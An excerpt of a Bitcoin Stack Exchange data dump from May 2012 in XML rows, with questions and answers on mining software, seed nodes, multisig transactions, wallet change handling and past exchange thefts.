  <row Id="3695" PostTypeId="2" ParentId="3682" CreationDate="2012-05-16T20:27:07.620" Score="2" Body="&lt;p&gt;The BitMinter miner also works on Mac OS X. Go to &lt;a href=&quot;http://bitminter.com&quot; rel=&quot;nofollow&quot;&gt;http://bitminter.com&lt;/a&gt; and click the &quot;engine start&quot; button. There's no installation, it starts from the browser. It requires Java.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to what is going wrong with DiabloMiner, I don't know. If it is mining without errors then it should be getting you shares at the pool.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-05-16T20:27:07.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3696" PostTypeId="1" AcceptedAnswerId="3699" CreationDate="2012-05-16T21:01:30.807" Score="2" ViewCount="720" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.info/address/1VayNert3x1KzbpzMGt2qdqrAThiRovi8&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/address/1VayNert3x1KzbpzMGt2qdqrAThiRovi8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand who could possibly have this many BTC.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="516" LastEditDate="2012-05-17T22:28:58.560" LastActivityDate="2012-05-17T22:28:58.560" Title="Who has this many BTC?" Tags="|transactions|address|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3697" PostTypeId="2" ParentId="3696" CreationDate="2012-05-16T21:07:37.477" Score="0" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=53892.0&quot; rel=&quot;nofollow&quot;&gt;this forum topic&lt;/a&gt; it belongs to DeepBit (currently the largest mining pool)&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2012-05-16T21:07:37.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3699" PostTypeId="2" ParentId="3696" CreationDate="2012-05-16T21:26:50.603" Score="4" Body="&lt;p&gt;That is DeepBit's payout address. Whenever DeepBit pays its miners, it sends one transaction per miner, and each transaction comes from 1VayNert and sends change back to 1VayNert. The change from these thousands of small transactions adds up to create huge &quot;total BTC received&quot; amounts. 1VayNert has never actually contained anywhere near 10 million BTC -- that's just how much BTC it has sent to itself in change from transactions.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-05-16T21:26:50.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3700" PostTypeId="2" ParentId="3696" CreationDate="2012-05-16T21:32:10.457" Score="2" Body="&lt;p&gt;The &quot;Final Balance&quot; for that address is only a bit over 2000BTC, so it's not actually a very high figure for how much they own.  As theymos says, the &quot;Total Received&quot; figure is something else; it's a measure of volume sent through that address, and can count the same bitcoins many times over.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-05-16T21:32:10.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3701" PostTypeId="2" ParentId="336" CreationDate="2012-05-17T00:28:36.220" Score="4" Body="&lt;p&gt;There's a good reason for why when people try to understand Bitcoin and ask the most obvious question &quot;What is it?&quot; they only get even more confused and discouraged. This reason is the fact that this question doesn't really have a single concrete answer and usually receives multiple answers from those who do understand it that include a lot of technical speak and jargon. Hence the likely additional confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of asking what it is I'd like to propose a different question: &quot;Who is Bitcoin?&quot; and the answer I'd argue couldn't be simpler: Bitcoin can be virtually anyone from a business man in Chile to a wallstreet banker in New York to a grandmother in England to a college student in China, anyone with a computer or another device connected to the internet and running the free Bitcoin software can be part of Bitcoin.&#xA;Those who run this Bitcoin software on their device not only do so but they also get connected directly to each other forming a person to person or in technical speak a peer ot peer network.&#xA;The really brilliant aspect of it all is this next part where these people using the Bitcoin software connected to each other are able to issue, own and trade units of account, a digital currency - called bitcoins - where because of how the Bitcoin software is coded, and done so completely openly for anyone to see, they don't even need to trust any person who's part of the network other than the laws of mathematics to be virtually certain that the person giving them some bitcoins is following the same exact rules as they are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this picture in mind to sum it all up in technical speak: Bitcoin is a payment system with a digital currency in a decentralized peer to peer network. Does it make any more sense now? I hope so.&lt;/p&gt;&#xA;" OwnerUserId="1386" LastActivityDate="2012-05-17T00:28:36.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3702" PostTypeId="1" AcceptedAnswerId="4575" CreationDate="2012-05-17T00:43:07.263" Score="8" ViewCount="155" Body="&lt;p&gt;I'm currently doing some double-spend testing, and it appears that the standard client prefers broadcasting transactions that credit its wallet. That is to say, a client that receives such a transaction broadcasts it more, than it would broadcast other transactions in hopes of getting it into a block sooner. Is this truly the case, or are my observations incorrect?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-17T13:06:27.407" LastActivityDate="2012-08-28T04:44:52.600" Title="Does Bitcoin prefer broadcasting transactions crediting it?" Tags="|transactions|bitcoin-core|nodes|coin-age-priority|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3703" PostTypeId="2" ParentId="3696" CreationDate="2012-05-17T03:18:37.803" Score="1" Body="&lt;p&gt;Here's &lt;a href=&quot;http://blockchain.info/charts/balance?timespan=180days&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&amp;amp;show_header=true&amp;amp;scale=0&amp;amp;address=1VayNert3x1KzbpzMGt2qdqrAThiRovi8&quot; rel=&quot;nofollow&quot;&gt;a chart&lt;/a&gt; showing the balance at that address over time.  It once nearly reached 12,000 BTC.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-05-17T03:18:37.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3704" PostTypeId="2" ParentId="3654" CreationDate="2012-05-17T09:50:01.160" Score="4" Body="&lt;p&gt;The problem is that the Bitcoin wallet implementation is written with the assumption that the transactions it created itself are always valid. If they do not get confirmed, it simply keeps trying to submit then to the network until they get confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since the introduction of dumpprivkey and wallet tools, it's easy enough to create other wallets with the ability to spend from the same key, resulting in potential double spends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current best solution is removing the double transaction from the wallet (maybe via a wallet tool, or by dumping the bdb file, removing the transaction line, and importing it again). On a slightly longer term, we plan to make wallets detect transactions that conflict with the block chain, and consider them rejected.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-05-17T09:50:01.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3705" PostTypeId="2" ParentId="3644" CreationDate="2012-05-17T12:49:54.463" Score="3" Body="&lt;p&gt;An issue is the future. As namecoin actually destroys the coins it uses on domains makes that there will be a hard limit on usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If 21M coins are released each costing 1NMC thats a very small cap on the amount of available domains. Also take into consideration that the Namecoin network does not know what value 0.01NMC is in relation to USD or even BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These situations make for creating a cap at 2.1B instead which is &quot;more than enough&quot;.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2012-05-17T12:49:54.463" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3706" PostTypeId="1" CreationDate="2012-05-17T16:13:40.020" Score="5" ViewCount="106572" Body="&lt;p&gt;I use the original client, but I don't know where can I find my Bitcoin address. Can someone help me?&lt;/p&gt;&#xA;" OwnerUserId="1387" LastEditorUserId="516" LastEditDate="2012-05-17T20:45:09.920" LastActivityDate="2015-07-19T03:59:50.210" Title="Where can I see my Bitcoin address?" Tags="|bitcoin-core|address|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3707" PostTypeId="2" ParentId="3706" CreationDate="2012-05-17T16:34:23.483" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;Open the standard client&lt;/li&gt;&#xA;&lt;li&gt;Go to &quot;Receive coins&quot; tab&lt;/li&gt;&#xA;&lt;li&gt;You will have a list of addresses you can use&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you want to create a new address, just click &quot;New Address...&quot; on the bottom of the window.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-05-17T16:34:23.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3708" PostTypeId="1" AcceptedAnswerId="3715" CreationDate="2012-05-17T19:13:50.927" Score="2" ViewCount="1945" Body="&lt;p&gt;Similar to BitTorrent trackers. Or are all peers equal in ability and importance? &lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2012-05-17T21:49:50.310" Title="Are there any super nodes in the network?" Tags="|network|nodes|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3709" PostTypeId="2" ParentId="3708" CreationDate="2012-05-17T19:38:28.947" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Fallback_Nodes&quot; rel=&quot;nofollow&quot;&gt;Fallback Nodes&lt;/a&gt; can be considered to be &quot;super nodes&quot;, as clients will at times use them to get a list of peers. Similarly, any node operated by a mining pool or a major Bitcoin website should similarly be able to provide more accurate information than a regular node (by being connected to much more nodes).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-05-17T19:38:28.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3710" PostTypeId="2" ParentId="3682" CreationDate="2012-05-17T19:41:39.413" Score="0" Body="&lt;p&gt;I never got DiabloWorking correctly; however I did get phoenix2 working with the following config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[cl:0:1]        &#xA;    name = AMD Radeon HD 6750M&#xA;    disabled = False&#xA;    autoconfigure = False&#xA;    start_undetected = False&#xA;    kernel = opencl &#xA;    worksize = 256 #Appears to not make a diff, using bigger size&#xA;    vectors = True #vectors4 is ~2 times slower&#xA;    bfi_int = True #Appears to not make a diff, turning on&#xA;    goffset = False #MUST be false&#xA;&#xA;    # During use    &#xA;    # fastloop = True #Use fast internal loop? (ideal for low aggression)&#xA;    # aggression = 3 #Number of nonces to test per kernel execution (lower value = less desktop lag, higher value = higher &#xA;&#xA;    # Dedicated Mining&#xA;    fastloop = False&#xA;    aggression = 12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1377" LastActivityDate="2012-05-17T19:41:39.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3711" PostTypeId="1" AcceptedAnswerId="3714" CreationDate="2012-05-17T20:36:03.133" Score="8" ViewCount="5646" Body="&lt;p&gt;A follow up from a comment on &lt;a href=&quot;https://bitcoin.stackexchange.com/a/3709/323&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are seednodes, and how do they differ from fallback nodes?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-04-10T20:15:34.073" Title="What are seednodes?" Tags="|bitcoin-core|nodes|fallback-nodes|seed|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3712" PostTypeId="1" CreationDate="2012-05-17T21:17:22.610" Score="21" ViewCount="16094" Body="&lt;p&gt;Can somebody help me with step-by-step list of how to create a multi signature 2-of-3 transaction?&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="516" LastEditDate="2012-05-17T22:06:07.013" LastActivityDate="2021-05-10T22:30:26.927" Title="How can I create a multi signature 2-of-3 transaction?" Tags="|transactions|bitcoind|multi-signature|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3713" PostTypeId="2" ParentId="3711" CreationDate="2012-05-17T21:20:50.097" Score="1" Body="&lt;p&gt;DNS seeds aren't necessarily &quot;seednodes&quot; as they don't necessarily have have Bitcoin running as well.  Instead these hosts have standard DNS servers with A records that new Bitcoin nodes use for bootstrapping to learn of peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, Bitcoin master shows these four:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bitseed.xf2.org&lt;/li&gt;&#xA;&lt;li&gt;dnsseed.bluematt.me&lt;/li&gt;&#xA;&lt;li&gt;seed.bitcoin.sipa.be&lt;/li&gt;&#xA;&lt;li&gt;dnsseed.bitcoin.dashjr.org&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Source code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/net.cpp#L1170&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/net.cpp#L1170&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// DNS seeds&#xA;// Each pair gives a source name and a seed name.&#xA;&#xA;// The first name is used as information source for addrman.&#xA;// The second name should resolve to a list of seed addresses.&#xA;&#xA;&#xA;static const char *strMainNetDNSSeed[][2] = {&#xA;    {&quot;bitcoin.sipa.be&quot;, &quot;seed.bitcoin.sipa.be&quot;},&#xA;    {&quot;bluematt.me&quot;, &quot;dnsseed.bluematt.me&quot;},&#xA;    {&quot;dashjr.org&quot;, &quot;dnsseed.bitcoin.dashjr.org&quot;},&#xA;    {&quot;xf2.org&quot;, &quot;bitseed.xf2.org&quot;},&#xA;    {NULL, NULL}&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="153" LastEditorUserId="2306" LastEditDate="2013-04-16T16:32:29.117" LastActivityDate="2013-04-16T16:32:29.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3714" PostTypeId="2" ParentId="3711" CreationDate="2012-05-17T21:34:00.757" Score="7" Body="&lt;p&gt;&quot;Fallback nodes&quot; is a page on the Bitcoin Wiki which lists some reliable Bitcoin nodes. &quot;DNS Seeds&quot; are DNS servers hard-coded into Bitcoin which return IP addresses of Bitcoin nodes which can be used for bootstrapping. &quot;Seednodes&quot; are Bitcoin nodes which have their IP addresses hard-coded into the Bitcoin client (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/863e995b79ec388bf292d80f181912d01e20e2e5/src/net.cpp#L1198&quot; rel=&quot;nofollow&quot;&gt;see list here&lt;/a&gt;); they're used as an alternative bootstrapping method.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2015-04-10T20:15:34.073" LastActivityDate="2015-04-10T20:15:34.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3715" PostTypeId="2" ParentId="3708" CreationDate="2012-05-17T21:49:50.310" Score="1" Body="&lt;p&gt;There is a node that will relay all transactions, regardless of whether a fee is paid:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Free_transaction_relay_policy&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Free_transaction_relay_policy&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are well-connected nodes that are recommended for use by merchants to avoid risk to a race attack.  Some of them have inbound connection whitelists so as to lessen the risk of intentional address list poisoning.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-17T21:49:50.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3716" PostTypeId="5" CreationDate="2012-05-17T22:10:19.347" Score="0" Body="&lt;p&gt;A multi signature transaction is a transaction which spends from a multi signature address. The multisig address is an address which requires one or more signatures which correspond to public keys provided in the address. For example, a multisig address can require 2 out of 3 people to provide signatures in order for the funds to be spent. Due to restrictions on script lengths, the maximum multisig address can have 15 participants.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="48884" LastEditDate="2017-10-20T23:46:53.453" LastActivityDate="2017-10-20T23:46:53.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3717" PostTypeId="4" CreationDate="2012-05-17T22:10:19.347" Score="0" Body="This tag should be used for questions related to multi signature transactions. Multisig transactions allow for multiple people to sign a transaction before the transaction can be considered valid." OwnerUserId="516" LastEditorUserId="48884" LastEditDate="2017-10-20T23:46:53.453" LastActivityDate="2017-10-20T23:46:53.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3718" PostTypeId="1" AcceptedAnswerId="3729" CreationDate="2012-05-17T22:13:40.357" Score="48" ViewCount="40282" Body="&lt;p&gt;What are multi-signature transactions, and why might they be used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3557/how-does-one-make-multisignature-transactions-with-the-bitcoin-client&quot;&gt;How does one make multisignature transactions with the bitcoin client?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/3712/516&quot;&gt;How can I create a multi signature 2-of-3 transaction?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2016-09-28T08:40:05.800" Title="What are multi-signature transactions?" Tags="|transactions|multi-signature|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3719" PostTypeId="2" ParentId="3642" CreationDate="2012-05-17T22:42:25.190" Score="4" Body="&lt;p&gt;In order of date:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;13th June 2011, &lt;a href=&quot;http://www.pcworld.com/article/230377/worlds_first_virtual_heist_bitcoin_user_loses_500000.html&quot; rel=&quot;nofollow&quot;&gt;25,000 BTC stolen from an early adopter &quot;allinvain&quot;&lt;/a&gt;: A single user claims they were hacked and lost an enormous quantity of Bitcoins.&lt;/li&gt;&#xA;&lt;li&gt;15th June 2011, 650 (?) BTC stolen from MtGox exchange: This attack probably made the news more than any other because the &lt;em&gt;apparent&lt;/em&gt; market price plunged to $0.01/BTC, but withdrawal limits actually prevented a major loss. There was however substantial downtime and confusion amongst users while security issues were resolved. MtGox remains the largest exchange despite the issues, as at the time of writing.&lt;/li&gt;&#xA;&lt;li&gt;31st July 2011, &lt;a href=&quot;http://betabeat.com/2011/08/05/mybitcoin-disappeared-with-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;27,000 BTC stolen from mybitcoin.com&lt;/a&gt;: This was a website that worked like an online wallet. After the website disappeared for several days, the owner reappeared claiming the site was hacked and is closing the site down, with a plan to refund 49% of each user's previous balance. There has been speculation that the owner of the site scammed the users.&lt;/li&gt;&#xA;&lt;li&gt;1st August 2011, &lt;a href=&quot;https://support.mtgox.com/entries/20357051-mt-gox-the-world-s-largest-bitcoin-exchange-to-acquire-bitomat-pl-compensate-loss-of-bitcoins&quot; rel=&quot;nofollow&quot;&gt;17,000 BTC lost from Bitomat exchange&lt;/a&gt;: A surprisingly large Polish exchange was mistakenly (due to a technical misunderstanding) set up in an unstable hosting environment and lost its wallet file when the server crashed. The MtGox exchange took over Bitomat's business with an agreement to try to restore users Bitcoins.&lt;/li&gt;&#xA;&lt;li&gt;1st March, 2012: &lt;a href=&quot;http://arstechnica.com/business/2012/03/bitcoins-worth-228000-stolen-from-customers-of-hacked-webhost/&quot; rel=&quot;nofollow&quot;&gt;More than 43,000 BTC were stolen from bitcoinica.com&lt;/a&gt; due to a Linode exploit, and another 3,000 from an individual programmer. The same exploit was used against Slush's Pool &lt;a href=&quot;https://bitcointalk.org/index.php?topic=66916.0&quot; rel=&quot;nofollow&quot;&gt;to steal 3094 BTC&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;11th May, 2012: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=81045.0&quot; rel=&quot;nofollow&quot;&gt;18,547 BTC were stolen&lt;/a&gt; from bitcoinica.com. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of anyone being caught for any of these thefts.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-05-18T03:32:01.117" LastActivityDate="2012-05-18T03:32:01.117" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3720" PostTypeId="1" CreationDate="2012-05-17T23:09:00.150" Score="5" ViewCount="1988" Body="&lt;p&gt;I've recently been testing double-spend attacks against myself using a couple wallets, and the standard client does not appear to clear conflicting transactions from its transaction list, even if the other ones have already become a part of a block. How do I get rid of invalid transactions from my wallet?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2013-04-18T23:07:44.530" LastActivityDate="2013-04-18T23:07:44.530" Title="How to clear invalid transactions from one's wallet?" Tags="|transactions|wallet|bitcoin-core|doublespend|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3721" PostTypeId="1" CreationDate="2012-05-17T23:17:44.260" Score="5" ViewCount="466" Body="&lt;p&gt;I'm new to Bitcoin and am considering allowing people to pay for my software with them. Before I continue I would like to clarify some things. My googling did not get me the answers I was after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that you can create new addresses for each transaction. Say I have 1BTC paid to A and 1BTC paid to B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the overview tab of the default Bitcoin client, the balance would be displayed as 2BTC. I can only assume it has simply added up all the amounts in A and B address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I send 2BTC to address C, does it create a new 'sending address' X and move to amounts from A and B to X and then send to C or send two transactions, one from each account A and B?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="5406" LastEditDate="2016-04-03T08:24:34.020" LastActivityDate="2016-04-03T08:24:34.020" Title="Sending and Receiving Mechanics" Tags="|transactions|address|sending|receiving|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3722" PostTypeId="2" ParentId="3721" CreationDate="2012-05-18T00:07:02.790" Score="5" Body="&lt;p&gt;The coin selection that the client does is performed behind the scenes, the client takes care of the details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you are curious to know what happens behind the scenes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;INPUT:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Address: A  1.0 BTC&lt;/li&gt;&#xA;&lt;li&gt;Address: B  1.0 BTC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;OUTPUT:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Address: C  2.0 BTC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;FEE (derived as inputs - outputs): 0.0 BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is assuming you didn't pay a fee.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Let's say instead you only were to pay 1.5 BTC, and a 0.0005 BTC Fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;INPUT:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Address: A  1.0 BTC&lt;/li&gt;&#xA;&lt;li&gt;Address: B  1.0 BTC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;OUTPUT:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Address: C  1.5 BTC&lt;/li&gt;&#xA;&lt;li&gt;Address: D  0.4995 BTC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;FEE (derived as inputs - outputs): 0.0005 BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Address D was an address from your own wallet that the client chose to receive the change transaction.  Your balance in your wallet will then show 0.49995 BTC.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here's a technical explanation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Transactions&quot;&gt;http://en.bitcoin.it/wiki/Transactions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-18T00:07:02.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3723" PostTypeId="2" ParentId="3718" CreationDate="2012-05-18T00:14:50.597" Score="7" Body="&lt;p&gt;Enjoy!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Bitcoin Faucet Hacked&quot;&#xA;How a future version of the Faucet will work to prevent a similar incident:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gavintech.blogspot.com/2012/03/bitcoin-faucet-hacked.html&quot;&gt;http://gavintech.blogspot.com/2012/03/bitcoin-faucet-hacked.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&quot;BIP 16 / 17 in layman's terms&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=61125.0&quot;&gt;http://bitcointalk.org/index.php?topic=61125.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&quot;The Truth behind BIP 16 and 17&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinmedia.com/the-truth-behind-bip-16-and-17/&quot;&gt;http://bitcoinmedia.com/the-truth-behind-bip-16-and-17/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-18T00:14:50.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3724" PostTypeId="1" AcceptedAnswerId="8741" CreationDate="2012-05-18T01:45:17.133" Score="4" ViewCount="2574" Body="&lt;p&gt;When MtGox was hacked on 15th June 2011, how many bitcoins were stolen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember at the time that news articles reporting the incident talked about the size of the sell order the hacker placed within the site, but failed to state the amount of bitcoins the thief managed to withdraw. Most of the stolen bitcoins were unable to be withdrawn, so MtGox was able to retrieve those by claiming them back from the controlled website account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please provide a link to support your answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related question:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/163/were-all-funds-stolen-from-mt-gox-finally-returned-to-all-users&quot;&gt;Were all funds stolen from Mt. Gox finally returned to all users?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2023-11-26T19:25:11.310" Title="When MtGox was hacked on 15th June 2011, how many bitcoins were actually stolen?" Tags="|security|mtgox|history|theft|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3725" PostTypeId="1" AcceptedAnswerId="3726" CreationDate="2012-05-18T03:41:06.580" Score="5" ViewCount="248" Body="&lt;p&gt;On 11th May, 2012, 18,547 BTC were reported stolen from bitcoinica.com as stated here: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=81045.0&quot;&gt;https://bitcointalk.org/index.php?topic=81045.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoinica.com website is unresponsive at the time of writing this. Are they planning to reopen? Have they stated whether their users' deposits will be refunded? If yes to either of those question, have they give a timeframe?&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-05-18T07:51:27.993" Title="Is bitcoinica.com planning to reopen after the 11th May 2012 theft?" Tags="|security|theft|bitcoinica|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3726" PostTypeId="2" ParentId="3725" CreationDate="2012-05-18T04:20:42.327" Score="6" Body="&lt;p&gt;Zhou tong has stated &lt;a href=&quot;https://bitcointalk.org/index.php?topic=81045.msg896112#msg896112&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; that reopening is being considered, with a time frame of several months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He has also stated that deposits will be refunded; &lt;a href=&quot;https://bitcointalk.org/index.php?topic=82260.0&quot; rel=&quot;nofollow&quot;&gt;Most recently&lt;/a&gt;, he has stated that a claim page has been opened at &lt;a href=&quot;https://claims.bitcoinica.com/&quot; rel=&quot;nofollow&quot;&gt;https://claims.bitcoinica.com/&lt;/a&gt;, but at the time of this writing it seems to be unavailable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I can now access it.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-05-18T07:51:27.993" LastActivityDate="2012-05-18T07:51:27.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
